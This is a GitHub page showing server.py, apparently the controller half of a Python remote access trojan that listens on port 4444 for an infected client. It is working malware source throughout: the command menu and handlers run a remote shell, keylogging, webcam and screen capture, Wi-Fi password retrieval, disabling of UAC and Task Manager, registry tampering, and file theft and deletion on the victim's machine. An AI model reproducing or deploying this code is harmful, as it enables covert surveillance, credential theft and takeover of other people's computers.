-
Notifications
You must be signed in to change notification settings - Fork 41
/
server.py
470 lines (394 loc) · 17.7 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
import random
import socket, os
class RAT_SERVER:
def __init__(self, host, port):
self.host = host
self.port = port
def build_connection(self):
global client, addr, s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((self.host, self.port))
s.listen(5)
print("[*] Waiting for the client...")
client, addr = s.accept()
print()
ipcli = client.recv(1024).decode()
print(f"[*] Connection is established successfully with {ipcli}")
print()
def server(self):
try:
from vidstream import StreamingServer
global server
server = StreamingServer(self.host, 8080)
server.start_server()
except:
print("Module not found...")
def stop_server(self):
server.stop_server()
def result(self):
client.send(command.encode())
result_output = client.recv(1024).decode()
print(result_output)
def banner(self):
print("======================================================")
print(" Commands ")
print("======================================================")
print("System: ")
print("======================================================")
print(f'''
help all commands available
writein <text> write the text to current opened window
browser enter quiery to browser
turnoffmon turn off the monitor
turnonmon turn on the monitor
reboot reboot the system
drivers all drivers of PC
kill kill the system task
sendmessage send messagebox with the text
cpu_cores number of CPU cores
systeminfo (extended) all basic info about system (via cmd)
tasklist all system tasks
localtime current system time
curpid PID of client's process
sysinfo (shrinked) basic info about system (Powers of Python)
shutdown shutdown client's PC
isuseradmin check if user is admin
extendrights extend system rights
disabletaskmgr disable Task Manager
enabletaskmgr enable Task Manager
disableUAC disable UAC
monitors get all used monitors
geolocate get location of computer
volumeup increase system volume to 100%
volumedown decrease system volume to 0%
setvalue set value in registry
delkey delete key in registry
createkey create key in registry
setwallpaper set wallpaper
exit terminate the session of RAT
''')
print("======================================================")
print("Shell: ")
print("======================================================")
print(f'''
pwd get current working directory
shell execute commands via cmd
cd change directory
[Driver]: change current driver
cd .. change directory back
dir get all files of current directory
abspath get absolute path of files
''')
print("======================================================")
print("Network: ")
print("======================================================")
print(f'''
ipconfig local ip
portscan port scanner
profiles network profiles
profilepswd password for profile
''')
print("======================================================")
print("Input devices: ")
print("======================================================")
print(f'''
keyscan_start start keylogger
send_logs send captured keystrokes
stop_keylogger stop keylogger
disable(--keyboard/--mouse/--all)
enable(--keyboard/--mouse/--all)
''')
print("======================================================")
print("Video: ")
print("======================================================")
print(f'''
screenshare overseing remote PC
webcam webcam video capture
breakstream break webcam/screenshare stream
screenshot capture screenshot
webcam_snap capture webcam photo
''')
print("======================================================")
print("Files:")
print("======================================================")
print(f'''
delfile <file> delete file
editfile <file> <text> edit file
createfile <file> create file
download <file> <homedir> download file
upload upload file
cp <file1> <file2> copy file
mv <file> <path> move file
searchfile <file> <dir> search for file in mentioned directory
mkdir <dirname> make directory
rmdir <dirname> remove directory
startfile <file> start file
readfile <file> read from file
''')
print("======================================================")
def execute(self):
self.banner()
while True:
global command
command = input('Command >> ')
if command == 'shell':
client.send(command.encode())
while 1:
command = str(input('>> '))
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(1024).decode()
print(result_output)
client.close()
s.close()
elif command == 'drivers':
self.result()
elif command == 'setvalue':
client.send(command.encode())
const = str(input("Enter the HKEY_* constant [HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_CURRENT_CONFIG]: "))
root = str(input('Enter the path to store key [ex. SOFTWARE\\test]: '))
key = str(input('Enter the key name: '))
value = str(input('Enter the value of key [None, 0, 1, 2 etc.]: '))
client.send(const.encode())
client.send(root.encode())
client.send(key.encode())
client.send(value.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'delkey':
client.send(command.encode())
const = str(input("Enter the HKEY_* constant [HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_CURRENT_CONFIG]: "))
root = str(input('Enter the path to key: '))
client.send(const.encode())
client.send(root.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'createkey':
client.send(command.encode())
const = str(input("Enter the HKEY_* constant [HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_CURRENT_CONFIG]: "))
root = str(input('Enter the path to key: '))
client.send(const.encode())
client.send(root.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'disableUAC':
self.result()
elif command == 'reboot':
self.result()
elif command == 'usbdrivers':
self.result()
elif command == 'volumeup':
self.result()
elif command == 'volumedown':
self.result()
elif command == 'monitors':
self.result()
elif command[:4] == 'kill':
if not command[5:]:
print("No process mentioned to terminate")
else:
self.result()
elif command == 'extendrights':
self.result()
elif command == 'geolocate':
self.result()
elif command == 'turnoffmon':
self.result()
elif command == 'turnonmon':
self.result()
elif command == 'setwallpaper':
client.send(command.encode())
text = str(input("Enter the filename: "))
client.send(text.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'keyscan_start':
client.send(command.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'send_logs':
client.send(command.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'stop_keylogger':
client.send(command.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command[:7] == 'delfile':
if not command[8:]:
print("No file to delete")
else:
self.result()
elif command[:10] == 'createfile':
if not command[11:]:
print("No file to create")
else:
self.result()
elif command == 'tasklist':
self.result()
elif command == 'ipconfig':
self.result()
elif command[:7] == 'writein':
if not command[8:]:
print("No text to output")
else:
self.result()
elif command == 'sendmessage':
client.send(command.encode())
text = str(input("Enter the text: "))
client.send(text.encode())
title = str(input("Enter the title: "))
client.send(title.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command == 'profilepswd':
client.send(command.encode())
profile = str(input("Enter the profile name: "))
client.send(profile.encode())
result_output = client.recv(2147483647).decode()
print(result_output)
elif command == 'profiles':
self.result()
elif command == 'cpu_cores':
self.result()
elif command[:2] == 'cd':
if not command[3:]:
print("No directory")
else:
self.result()
elif command == 'cd ..':
self.result()
elif command[1:2] == ':':
self.result()
elif command == 'dir':
self.result()
elif command == 'portscan':
self.result()
elif command == 'systeminfo':
self.result()
elif command == 'localtime':
self.result()
elif command[:7] == 'abspath':
if not command[8:]:
print("No file")
else:
self.result()
elif command[:8] == 'readfile':
if not command[9:]:
print("No file to read")
else:
client.send(command.encode())
result_output = client.recv(2147483647).decode()
print("===================================================")
print(result_output)
print("===================================================")
elif command.startswith("disable") and command.endswith("--keyboard"):
self.result()
elif command.startswith("disable") and command.endswith("--mouse"):
self.result()
elif command.startswith("disable") and command.endswith("--all"):
self.result()
elif command.startswith("enable") and command.endswith("--all"):
self.result()
elif command.startswith("enable") and command.endswith("--keyboard"):
self.result()
elif command.startswith("enable") and command.endswith("--mouse"):
self.result()
elif command[:7] == 'browser':
client.send(command.encode())
quiery = str(input("Enter the quiery: "))
client.send(quiery.encode())
result_output = client.recv(1024).decode()
print(result_output)
elif command[:2] == 'cp':
self.result()
elif command[:2] == 'mv':
self.result()
elif command[:8] == 'editfile':
self.result()
elif command[:5] == 'mkdir':
if not command[6:]:
print("No directory name")
else:
self.result()
elif command[:5] == 'rmdir':
if not command[6:]:
print("No directory name")
else:
self.result()
elif command[:10] == 'searchfile':
self.result()
elif command == 'curpid':
self.result()
elif command == 'sysinfo':
self.result()
elif command == 'pwd':
self.result()
elif command == 'screenshare':
client.send(command.encode("utf-8"))
self.server()
elif command == 'webcam':
client.send(command.encode("utf-8"))
self.server()
elif command == 'breakstream':
self.stop_server()
elif command[:9] == 'startfile':
if not command[10:]:
print("No file to launch")
else:
self.result()
elif command[:8] == 'download':
try:
client.send(command.encode())
file = client.recv(2147483647)
with open(f'{command.split(" ")[2]}', 'wb') as f:
f.write(file)
f.close()
print("File is downloaded")
except:
print("Not enough arguments")
elif command == 'upload':
client.send(command.encode())
file = str(input("Enter the filepath to the file: "))
filename = str(input("Enter the filepath to outcoming file (with filename and extension): "))
data = open(file, 'rb')
filedata = data.read(2147483647)
client.send(filename.encode())
print("File has been sent")
client.send(filedata)
elif command == 'disabletaskmgr':
self.result()
elif command == 'enabletaskmgr':
self.result()
elif command == 'isuseradmin':
self.result()
elif command == 'help':
self.banner()
elif command == 'screenshot':
client.send(command.encode())
file = client.recv(2147483647)
path = f'{os.getcwd()}\\{random.randint(11111,99999)}.png'
with open(path, 'wb') as f:
f.write(file)
f.close()
path1 = os.path.abspath(path)
print(f"File is stored at {path1}")
elif command == 'webcam_snap':
client.send(command.encode())
file = client.recv(2147483647)
with open(f'{os.getcwd()}\\{random.randint(11111,99999)}.png', 'wb') as f:
f.write(file)
f.close()
print("File is downloaded")
elif command == 'exit':
client.send(command.encode())
output = client.recv(1024)
output = output.decode()
print(output)
s.close()
client.close()
rat = RAT_SERVER('127.0.0.1', 4444)
if __name__ == '__main__':
rat.build_connection()
rat.execute()